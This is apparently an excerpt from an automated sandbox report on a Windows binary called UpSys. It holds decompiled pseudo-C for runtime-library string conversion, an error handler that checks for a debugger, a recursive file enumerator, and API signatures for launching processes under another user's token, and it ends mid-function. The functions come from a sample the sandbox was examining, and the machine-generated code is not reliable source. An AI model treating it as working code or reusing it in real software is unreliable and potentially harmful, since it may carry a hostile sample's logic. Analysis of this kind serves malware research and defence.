                                                                                                                                                                                                        • API ID: ErrorLasthtonsinet_ntoaselect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2634879269-0
                                                                                                                                                                                                        • Opcode ID: 96b23e1411ac1533c15ab04e0f9ac0f9b4af929c2b90b16e210d45f4fd358dc9
                                                                                                                                                                                                        • Instruction ID: acfcb52e3931e45a60e33c80355579acd48cb52846c324843acc9dd6361d7b96
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 96b23e1411ac1533c15ab04e0f9ac0f9b4af929c2b90b16e210d45f4fd358dc9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0991D33231465081EA26EB27E4517EE6391B7CDBC4F548512FF8A4BBA6DF39C5458700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001C970 Relevance: 9.2, APIs: 6, Instructions: 186COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 63%
                                                                                                                                                                                                        			E0000000114001C970(long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rdi, long long __rsi, signed long long __r8, void* __r9) {
				void* __rbp;
				void* _t40;
				void* _t42;
				void* _t45;
				void* _t48;
				void* _t60;
				void* _t61;
				void* _t63;
				signed long long _t90;
				signed long long _t91;
				signed long long _t98;
				long long _t100;
				intOrPtr* _t101;
				short* _t105;
				void* _t108;
				void* _t109;
				void* _t116;
				intOrPtr* _t123;
				long long _t127;
				void* _t130;
				signed long long _t132;
				void* _t133;
				void* _t134;
				void* _t135;
				void* _t136;
				signed long long _t138;
				void* _t148;
				void* _t149;
				signed long long _t150;
				long long _t151;
				intOrPtr* _t152;
				signed long long _t153;
				void* _t154;

				_t138 = __r8;
				_t116 = __rdx;
				_t105 = __rcx;
				_t100 = __rbx;
				_t134 = _t133 - 0x40;
				_t132 = _t134 + 0x30;
				 *((long long*)(_t132 + 0x40)) = __rbx;
				 *((long long*)(_t132 + 0x48)) = __rsi;
				 *((long long*)(_t132 + 0x50)) = __rdi;
				_t90 =  *0x400aeaa0; // 0x9e268096a868
				_t91 = _t90 ^ _t132;
				 *(_t132 + 8) = _t91;
				_t154 = __r9;
				_t153 = __r8;
				_t130 = __rdx;
				_t152 = __rcx;
				 *_t132 = __rbx;
				if (__rcx != __rbx) goto 0x4001c9da;
				E0000000114001EAE4(__rcx - __rbx, _t91);
				r9d = 0;
				r8d = 0;
				 *((long long*)(_t134 + 0x20)) = __rbx;
				 *_t91 = 0x16;
				E0000000114001EA14(_t91, __rbx, __rcx, __rdx, __rdx, _t132, __r8);
				goto 0x4001cbf6;
				_t63 = _t116 - _t100;
				if (_t63 == 0) goto 0x4001c9b4;
				if (_t63 <= 0) goto 0x4001c9e4;
				 *_t105 = 0;
				if (_t138 == _t100) goto 0x4001c9b4;
				_t40 = E00000001140016A44(0, _t138);
				_t150 = _t91;
				if (_t130 - 1 - 0xffffffef > 0) goto 0x4001ca7a;
				_t108 = _t130 + _t130 + 0x10;
				if (_t108 - 0x400 > 0) goto 0x4001ca4d;
				if (_t108 + 0xf - _t108 > 0) goto 0x4001ca2b;
				E00000001140030CB0(_t40, 0xffffffffffffff0, _t148, _t149);
				_t135 = _t134 - 0xffffffffffffff0;
				_t123 = _t135 + 0x30;
				if (_t123 == _t100) goto 0x4001c9d3;
				 *_t123 = 0xcccc;
				goto 0x4001ca7d;
				_t42 = malloc(??);
				if (0xffffffffffffff0 == _t100) goto 0x4001ca64;
				 *((intOrPtr*)(0xffffffffffffff0)) = 0xdddd;
				goto 0x4001ca7d;
				_t127 = _t100;
				if (_t127 == _t100) goto 0x4001c9d3;
				if (_t150 - 0xffffffef > 0) goto 0x4001cade;
				_t13 = _t150 + 0x12; // 0x8000000000000001
				_t109 = _t150 + _t13;
				if (_t109 - 0x400 > 0) goto 0x4001cac7;
				_t14 = _t109 + 0xf; // 0x8000000000000010
				if (_t14 - _t109 > 0) goto 0x4001caa5;
				E00000001140030CB0(_t42, 0xffffffffffffff0, _t148, _t149);
				_t136 = _t135 - 0xffffffffffffff0;
				_t101 = _t136 + 0x30;
				if (_t101 == 0) goto 0x4001cbd3;
				 *_t101 = 0xcccc;
				goto 0x4001cada;
				malloc(??);
				if (0xffffffffffffff0 == 0) goto 0x4001cade;
				 *((intOrPtr*)(0xffffffffffffff0)) = 0xdddd;
				if (0x1000000000000000 == 0) goto 0x4001cbd3;
				_t17 = _t150 + 2; // 0x7ffffffffffffff1
				_t141 = _t150 + _t17;
				_t151 =  *((intOrPtr*)(_t132 + 0x60));
				_t19 = _t141 - 1; // 0x7ffffffffffffff0
				_t98 = _t19;
				 *((long long*)(_t136 + 0x28)) = _t151;
				 *(_t136 + 0x20) = _t98;
				_t45 = E00000001140028C18(0, _t60, 0x1000000000000000, _t109, 0x1000000000000000, _t127, _t130, _t132, _t150 + _t17, _t153);
				r14d = 0;
				if (_t45 == r14d) goto 0x4001cb3a;
				if (_t45 == 0x16) goto 0x4001cb21;
				if (_t45 != 0x22) goto 0x4001cbc0;
				r9d = 0;
				r8d = 0;
				 *(_t136 + 0x20) = _t153;
				E0000000114001E8EC(0, 0x1000000000000000, _t150 + _t17);
				goto 0x4001cbc0;
				 *((long long*)(_t136 + 0x28)) = _t151;
				 *(_t136 + 0x20) = _t153;
				E0000000114002868C(_t45 - 0x22, 0x1000000000000000, _t127, _t130 + _t130, _t132, 0x1000000000000000, _t154);
				if (_t98 == _t153) goto 0x4001cbbc;
				 *((long long*)(_t136 + 0x28)) = _t151;
				 *(_t136 + 0x20) =  *(_t136 + 0x20) | 0xffffffff;
				_t48 = E00000001140027824(_t60, _t61, _t98, 0x1000000000000000, _t132, _t152, _t130, _t132, _t130, _t127, _t149);
				if (_t48 == r14d) goto 0x4001cbb0;
				if (_t48 == 0x16) goto 0x4001cb87;
				if (_t48 != 0x22) goto 0x4001cb9b;
				r9d = 0;
				r8d = 0;
				 *(_t136 + 0x20) = _t153;
				E0000000114001E8EC(0, _t152, _t130);
				if ( *_t132 - _t130 < 0) goto 0x4001cbac;
				E0000000114001EAE4( *_t132 - _t130, _t98);
				 *_t98 = 0x22;
				 *_t132 = _t153;
				if ( *_t132 - _t153 <= 0) goto 0x4001cbc0;
				 *_t132 =  *_t132 - 1;
				goto 0x4001cbc0;
				 *_t132 = _t153;
				if ( *((intOrPtr*)(0xffffffffffffff0)) != 0xdddd) goto 0x4001cbd6;
				free(??);
				goto 0x4001cbd6;
				r14d = 0;
				_t31 = _t127 - 0x10; // -16
				if ( *_t31 != 0xdddd) goto 0x4001cbe7;
				free(??);
				if ( *_t132 != _t153) goto 0x4001cbf2;
				 *_t152 = r14w;
				return E00000001140028D30(0, 0x1000000000000000,  *(_t132 + 8) ^ _t132, _t127);
			}




































                                                                                                                                                                                                        0x14001c970
                                                                                                                                                                                                        0x14001c970
                                                                                                                                                                                                        0x14001c970
                                                                                                                                                                                                        0x14001c970
                                                                                                                                                                                                        0x14001c97a
                                                                                                                                                                                                        0x14001c97e
                                                                                                                                                                                                        0x14001c983
                                                                                                                                                                                                        0x14001c987
                                                                                                                                                                                                        0x14001c98b
                                                                                                                                                                                                        0x14001c98f
                                                                                                                                                                                                        0x14001c996
                                                                                                                                                                                                        0x14001c999
                                                                                                                                                                                                        0x14001c99f
                                                                                                                                                                                                        0x14001c9a2
                                                                                                                                                                                                        0x14001c9a5
                                                                                                                                                                                                        0x14001c9a8
                                                                                                                                                                                                        0x14001c9ab
                                                                                                                                                                                                        0x14001c9b2
                                                                                                                                                                                                        0x14001c9b4
                                                                                                                                                                                                        0x14001c9b9
                                                                                                                                                                                                        0x14001c9bc
                                                                                                                                                                                                        0x14001c9c3
                                                                                                                                                                                                        0x14001c9c8
                                                                                                                                                                                                        0x14001c9ce
                                                                                                                                                                                                        0x14001c9d5
                                                                                                                                                                                                        0x14001c9da
                                                                                                                                                                                                        0x14001c9dd
                                                                                                                                                                                                        0x14001c9df
                                                                                                                                                                                                        0x14001c9e1
                                                                                                                                                                                                        0x14001c9e7
                                                                                                                                                                                                        0x14001c9ec
                                                                                                                                                                                                        0x14001c9ff
                                                                                                                                                                                                        0x14001ca0f
                                                                                                                                                                                                        0x14001ca11
                                                                                                                                                                                                        0x14001ca1d
                                                                                                                                                                                                        0x14001ca26
                                                                                                                                                                                                        0x14001ca2f
                                                                                                                                                                                                        0x14001ca34
                                                                                                                                                                                                        0x14001ca37
                                                                                                                                                                                                        0x14001ca3f
                                                                                                                                                                                                        0x14001ca41
                                                                                                                                                                                                        0x14001ca4b
                                                                                                                                                                                                        0x14001ca4d
                                                                                                                                                                                                        0x14001ca58
                                                                                                                                                                                                        0x14001ca5a
                                                                                                                                                                                                        0x14001ca78
                                                                                                                                                                                                        0x14001ca7a
                                                                                                                                                                                                        0x14001ca80
                                                                                                                                                                                                        0x14001ca89
                                                                                                                                                                                                        0x14001ca8b
                                                                                                                                                                                                        0x14001ca8b
                                                                                                                                                                                                        0x14001ca97
                                                                                                                                                                                                        0x14001ca99
                                                                                                                                                                                                        0x14001caa0
                                                                                                                                                                                                        0x14001caa9
                                                                                                                                                                                                        0x14001caae
                                                                                                                                                                                                        0x14001cab1
                                                                                                                                                                                                        0x14001cab9
                                                                                                                                                                                                        0x14001cabf
                                                                                                                                                                                                        0x14001cac5
                                                                                                                                                                                                        0x14001cac7
                                                                                                                                                                                                        0x14001cad2
                                                                                                                                                                                                        0x14001cad4
                                                                                                                                                                                                        0x14001cae1
                                                                                                                                                                                                        0x14001cae7
                                                                                                                                                                                                        0x14001cae7
                                                                                                                                                                                                        0x14001caec
                                                                                                                                                                                                        0x14001caf3
                                                                                                                                                                                                        0x14001caf3
                                                                                                                                                                                                        0x14001cafc
                                                                                                                                                                                                        0x14001cb01
                                                                                                                                                                                                        0x14001cb06
                                                                                                                                                                                                        0x14001cb0b
                                                                                                                                                                                                        0x14001cb11
                                                                                                                                                                                                        0x14001cb16
                                                                                                                                                                                                        0x14001cb1b
                                                                                                                                                                                                        0x14001cb21
                                                                                                                                                                                                        0x14001cb24
                                                                                                                                                                                                        0x14001cb2b
                                                                                                                                                                                                        0x14001cb30
                                                                                                                                                                                                        0x14001cb35
                                                                                                                                                                                                        0x14001cb47
                                                                                                                                                                                                        0x14001cb4c
                                                                                                                                                                                                        0x14001cb51
                                                                                                                                                                                                        0x14001cb59
                                                                                                                                                                                                        0x14001cb68
                                                                                                                                                                                                        0x14001cb6d
                                                                                                                                                                                                        0x14001cb73
                                                                                                                                                                                                        0x14001cb7b
                                                                                                                                                                                                        0x14001cb80
                                                                                                                                                                                                        0x14001cb85
                                                                                                                                                                                                        0x14001cb87
                                                                                                                                                                                                        0x14001cb8a
                                                                                                                                                                                                        0x14001cb91
                                                                                                                                                                                                        0x14001cb96
                                                                                                                                                                                                        0x14001cb9f
                                                                                                                                                                                                        0x14001cba1
                                                                                                                                                                                                        0x14001cba6
                                                                                                                                                                                                        0x14001cbac
                                                                                                                                                                                                        0x14001cbb4
                                                                                                                                                                                                        0x14001cbb6
                                                                                                                                                                                                        0x14001cbba
                                                                                                                                                                                                        0x14001cbbc
                                                                                                                                                                                                        0x14001cbca
                                                                                                                                                                                                        0x14001cbcc
                                                                                                                                                                                                        0x14001cbd1
                                                                                                                                                                                                        0x14001cbd3
                                                                                                                                                                                                        0x14001cbd6
                                                                                                                                                                                                        0x14001cbe0
                                                                                                                                                                                                        0x14001cbe2
                                                                                                                                                                                                        0x14001cbeb
                                                                                                                                                                                                        0x14001cbed
                                                                                                                                                                                                        0x14001cc1b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: free$DecodePointer_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2260051970-0
                                                                                                                                                                                                        • Opcode ID: 9141eb6309b4b5be1d47c07c006ddb72fc2e135f8796014037069c1e723841d6
                                                                                                                                                                                                        • Instruction ID: 5df0371538e73f67a3db3f0dd71555f6dc7f7f44a93977d5b5a2a52be48868b9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9141eb6309b4b5be1d47c07c006ddb72fc2e135f8796014037069c1e723841d6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F871A23222478085EB229F66D441BEE3295FB087F8F984716FB695BBE5CB3AC5408301
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140044080 Relevance: 9.1, APIs: 6, Instructions: 76processCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1413079979-0
                                                                                                                                                                                                        • Opcode ID: 67a52367a0076576cd86df4ef8e8fdfe9482f21b34c4d81350fc3d8b58184f71
                                                                                                                                                                                                        • Instruction ID: 41c8afac2b49b16fdccddc99de4e16bba4c507117163eaf4015c7c4c6cb8ee30
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 67a52367a0076576cd86df4ef8e8fdfe9482f21b34c4d81350fc3d8b58184f71
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F8315C37208B8486DB658F12E880B9AB7A5F38DBC4F15412AEF8D03724CF39D455CB44
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001E8EC Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 17%
                                                                                                                                                                                                        			E0000000114001E8EC(void* __ecx, void* __rdx, void* __r8) {
				void* _v0;
				long long _v992;
				long long _v1088;
				char _v1240;
				long long _v1384;
				char _v1396;
				signed int _v1400;
				char _v1416;
				char _v1424;
				long long _v1432;
				long long _v1440;
				void* _v1448;
				signed long long _v1456;
				long long _v1464;
				long long _v1472;
				long long _v1480;
				void* _t30;
				int _t32;
				long long _t48;

				_v1400 = _v1400 & 0x00000000;
				r8d = 0x94;
				E00000001140017520(_t30, __ecx, 0,  &_v1396, __rdx, __r8);
				_t48 =  &_v1240;
				_v1440 =  &_v1400;
				_v1432 = _t48;
				__imp__RtlCaptureContext();
				r8d = 0;
				0x40030c4e();
				if (_t48 == 0) goto 0x4001e989;
				_v1456 = _v1456 & 0x00000000;
				_v1464 =  &_v1416;
				_v1472 =  &_v1424;
				_v1480 =  &_v1240;
				0x40030c48();
				goto 0x4001e9a9;
				_v992 = _v0;
				_v1088 =  &_v0;
				_v1400 = 0xc0000417;
				_v1396 = 1;
				_v1384 = _v0;
				_t32 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(??);
				if (UnhandledExceptionFilter(??) != 0) goto 0x4001e9f4;
				if (_t32 != 0) goto 0x4001e9f4;
				E0000000114002A014(_t34);
				GetCurrentProcess();
				return TerminateProcess(??, ??);
			}






















                                                                                                                                                                                                        0x14001e8f5
                                                                                                                                                                                                        0x14001e901
                                                                                                                                                                                                        0x14001e907
                                                                                                                                                                                                        0x14001e911
                                                                                                                                                                                                        0x14001e921
                                                                                                                                                                                                        0x14001e926
                                                                                                                                                                                                        0x14001e92b
                                                                                                                                                                                                        0x14001e941
                                                                                                                                                                                                        0x14001e944
                                                                                                                                                                                                        0x14001e94c
                                                                                                                                                                                                        0x14001e94e
                                                                                                                                                                                                        0x14001e95e
                                                                                                                                                                                                        0x14001e96b
                                                                                                                                                                                                        0x14001e97b
                                                                                                                                                                                                        0x14001e982
                                                                                                                                                                                                        0x14001e987
                                                                                                                                                                                                        0x14001e991
                                                                                                                                                                                                        0x14001e9a1
                                                                                                                                                                                                        0x14001e9b1
                                                                                                                                                                                                        0x14001e9b9
                                                                                                                                                                                                        0x14001e9c1
                                                                                                                                                                                                        0x14001e9c9
                                                                                                                                                                                                        0x14001e9d3
                                                                                                                                                                                                        0x14001e9e6
                                                                                                                                                                                                        0x14001e9ea
                                                                                                                                                                                                        0x14001e9ef
                                                                                                                                                                                                        0x14001e9f4
                                                                                                                                                                                                        0x14001ea10

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminate
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1269745586-0
                                                                                                                                                                                                        • Opcode ID: 3deda899ac1c071af22dd8e3f65d952e3fac420d7f4915384e1aa4e39fe82ee6
                                                                                                                                                                                                        • Instruction ID: 28b2462a35a59ae30f9769626fe5e40e9679bb2917f431f2610b2bc0d717d067
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3deda899ac1c071af22dd8e3f65d952e3fac420d7f4915384e1aa4e39fe82ee6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6E312A32218BC582EB669B56F4547DFB3A0F789784F500125EB8D47AA9EF7CC549CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140061180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 111filesleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 61%
                                                                                                                                                                                                        			E00000001140061180(void* __ecx, void* __edx, void* __ebp, void* __eflags, long long __rbx, long long __rcx, void* __rdx, long long __r8, long long __r9, signed long long _a8, void* _a16, intOrPtr* _a24, long long* _a32, long long _a40, intOrPtr _a48, intOrPtr _a56) {
				char _v572;
				void* _v584;
				void* _v588;
				signed char _v616;
				signed long long _v632;
				long long _v640;
				long long _v648;
				char _v656;
				signed long long _v664;
				long long _v672;
				long long _v680;
				char _v688;
				signed long long _v696;
				intOrPtr _v712;
				intOrPtr _v720;
				long long _v728;
				void* __rsi;
				void* __rbp;
				void* _t53;
				void* _t72;
				void* _t87;
				signed long long _t90;
				signed long long _t106;
				WCHAR* _t123;
				long long _t124;
				void* _t126;
				long _t128;
				void* _t130;

				_t94 = __rbx;
				_t72 = __edx;
				_t87 = _t130;
				 *((long long*)(_t87 + 0x10)) = __rbx;
				 *((long long*)(_t87 + 0x20)) = __r9;
				 *((long long*)(_t87 + 0x18)) = __r8;
				 *((long long*)(_t87 + 8)) = __rcx;
				E00000001140001D30(_t87, __rbx,  &_v688, __rdx);
				_v648 = _v680;
				_v640 = _v672;
				_t90 = _v664;
				 *_t90 =  *_t90 + 1;
				_v656 = _v688;
				_v632 = _t90;
				E00000001140011830(_t94,  &_v688, L"*.*", _t126, _t128);
				FindFirstFileW(_t123);
				_v696 = _t90;
				if (_t90 == 0xffffffff) goto 0x40061355;
				bpl = _a56;
				sil = _a48;
				_t124 = _a40;
				_t53 = E0000000114004F350(__ebp, _t90, _t94, _a8, _t126, _t128, _t126);
				if (_t53 == 1) goto 0x4006134e;
				if (_t53 != 0xb) goto 0x40061247;
				_t22 = _t90 - 1; // -1
				Sleep(_t128);
				goto 0x40061221;
				if (E00000001140017790( &_v572, ".") == 0) goto 0x40061331;
				if (E00000001140017790( &_v572, L"..") == 0) goto 0x40061331;
				E00000001140012600( &_v688,  &_v656);
				E00000001140011830(_t94,  &_v688,  &_v572, _t126, _t128);
				if ((_v616 & 0x00000010) == 0) goto 0x40061301;
				if (sil == 0) goto 0x400612b2;
				 *_t124 =  *_t124 + 1;
				if (bpl == 0) goto 0x40061331;
				E00000001140011830(_t94,  &_v688, "\\", _t126, _t128);
				_t106 = _a8;
				_v712 = bpl;
				_v720 = sil;
				_v728 = _t124;
				if (E00000001140061180(_t22, _t72, __ebp, bpl, _t94, _t106, _v688, _a24, _a32) == 0) goto 0x40061350;
				goto 0x40061331;
				 *_a24 =  *_a24 + (_t106 << 0x00000020 | _t90);
				if (sil == 0) goto 0x40061331;
				 *_a32 =  *_a32 + 1;
				if (FindNextFileW(??, ??) != 0) goto 0x40061221;
				goto 0x40061350;
				E00000001140002610(E00000001140002610(FindClose(??), _t94,  &_v656), _t94,  &_v688);
				return 0;
			}































                                                                                                                                                                                                        0x140061180
                                                                                                                                                                                                        0x140061180
                                                                                                                                                                                                        0x140061180
                                                                                                                                                                                                        0x140061183
                                                                                                                                                                                                        0x140061187
                                                                                                                                                                                                        0x14006118b
                                                                                                                                                                                                        0x14006118f
                                                                                                                                                                                                        0x1400611a2
                                                                                                                                                                                                        0x1400611b1
                                                                                                                                                                                                        0x1400611c2
                                                                                                                                                                                                        0x1400611c7
                                                                                                                                                                                                        0x1400611d1
                                                                                                                                                                                                        0x1400611d3
                                                                                                                                                                                                        0x1400611d8
                                                                                                                                                                                                        0x1400611e0
                                                                                                                                                                                                        0x1400611f4
                                                                                                                                                                                                        0x1400611fa
                                                                                                                                                                                                        0x140061203
                                                                                                                                                                                                        0x140061209
                                                                                                                                                                                                        0x140061211
                                                                                                                                                                                                        0x140061219
                                                                                                                                                                                                        0x140061229
                                                                                                                                                                                                        0x140061231
                                                                                                                                                                                                        0x14006123a
                                                                                                                                                                                                        0x14006123c
                                                                                                                                                                                                        0x14006123f
                                                                                                                                                                                                        0x140061245
                                                                                                                                                                                                        0x14006125d
                                                                                                                                                                                                        0x140061279
                                                                                                                                                                                                        0x140061289
                                                                                                                                                                                                        0x14006129b
                                                                                                                                                                                                        0x1400612a8
                                                                                                                                                                                                        0x1400612ad
                                                                                                                                                                                                        0x1400612af
                                                                                                                                                                                                        0x1400612b5
                                                                                                                                                                                                        0x1400612c3
                                                                                                                                                                                                        0x1400612dd
                                                                                                                                                                                                        0x1400612e5
                                                                                                                                                                                                        0x1400612ea
                                                                                                                                                                                                        0x1400612ef
                                                                                                                                                                                                        0x1400612fd
                                                                                                                                                                                                        0x1400612ff
                                                                                                                                                                                                        0x14006131e
                                                                                                                                                                                                        0x140061324
                                                                                                                                                                                                        0x14006132e
                                                                                                                                                                                                        0x140061346
                                                                                                                                                                                                        0x14006134c
                                                                                                                                                                                                        0x14006136d
                                                                                                                                                                                                        0x140061386

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Find$File$CloseFirstNextSleep
                                                                                                                                                                                                        • String ID: *.*
                                                                                                                                                                                                        • API String ID: 1749430636-438819550
                                                                                                                                                                                                        • Opcode ID: 13fc7f861d3f62dc519c068ee8d5849499cdca8022b711e0ce9d31bf90f64d97
                                                                                                                                                                                                        • Instruction ID: faf8ffdc5b0f3ca237437c5ce02b6fa431ac2f1e4364535fe30cad80888d180d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 13fc7f861d3f62dc519c068ee8d5849499cdca8022b711e0ce9d31bf90f64d97
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AC511732208B8581EA22DB16E8503DEA765F7C97D4F684512FB9D43BB9DF39C685CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001C640 Relevance: 7.7, APIs: 5, Instructions: 233COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 81%
                                                                                                                                                                                                        			E0000000114001C640(long long __rbx, signed int* __rcx, intOrPtr* __rdx, void* __r8, char _a8, void* _a16, char _a24, signed int _a32) {
				char _v24;
				signed int _v40;
				void* __rdi;
				void* _t92;
				void* _t95;
				signed int _t100;
				signed int _t101;
				signed int _t119;
				signed int _t133;
				intOrPtr* _t160;
				signed long long _t163;
				unsigned long long _t186;
				signed int* _t188;
				intOrPtr _t194;
				signed long long _t202;
				signed long long _t203;
				intOrPtr* _t211;
				signed long long _t215;
				signed long long _t219;
				signed long long _t223;
				intOrPtr* _t225;
				void* _t227;
				void* _t228;
				intOrPtr* _t229;
				signed long long _t237;
				unsigned long long _t240;
				void* _t241;
				signed long long _t245;
				signed long long _t246;
				void* _t248;

				_t232 = __r8;
				_t208 = __rdx;
				_t190 = __rcx;
				_t160 = _t229;
				 *((long long*)(_t160 + 0x10)) = __rbx;
				 *(_t160 + 0x18) =  *(_t160 + 0x18) & 0x00000000;
